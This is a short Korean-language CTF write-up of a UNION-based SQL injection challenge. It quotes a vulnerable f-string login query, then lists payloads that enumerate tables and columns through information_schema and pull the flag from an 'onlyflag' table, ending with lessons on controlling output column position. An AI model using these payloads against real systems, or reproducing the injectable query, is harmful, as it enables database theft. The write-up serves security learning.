


먼저 제공된 SQL 쿼리는 다음과 같습니다.
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
uid, upw 파라미터는 사용자 입력값' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema='secret_db' #
secret_db 내 테이블 이름들을 출력onlyflag 라는 테이블이 존재함을 확인' UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name='onlyflag' #
onlyflag 테이블의 컬럼 이름들을 확인svalue, sflag, sclose' UNION SELECT svalue, sflag, 3, sclose FROM onlyflag #
sflag 컬럼이 플래그를 담고 있었고data[0][1]을 출력하는 구조였기 때문에sflag를 두 번째 컬럼 위치에 맞춰서 SELECT함이번 문제는 단순한 로그인 우회 수준을 넘어서, 메타데이터 테이블을 활용한 DB 구조 탐색 + 결과 출력 위치까지 고려한 조작이 요구되는 UNION-based SQL Injection 문제였다.
핵심은 다음 3가지였다.
information_schema.tables 와 columns를 통한 탐색data[0][1])까지 고려하여 컬럼 순서 조절이 문제를 통해 SQLi에서 단순히 "데이터를 빼내는 것"만이 아니라, "어떻게 출력될지를 제어하는 것도 중요하다"는 점을 다시금 체감할 수 있었다.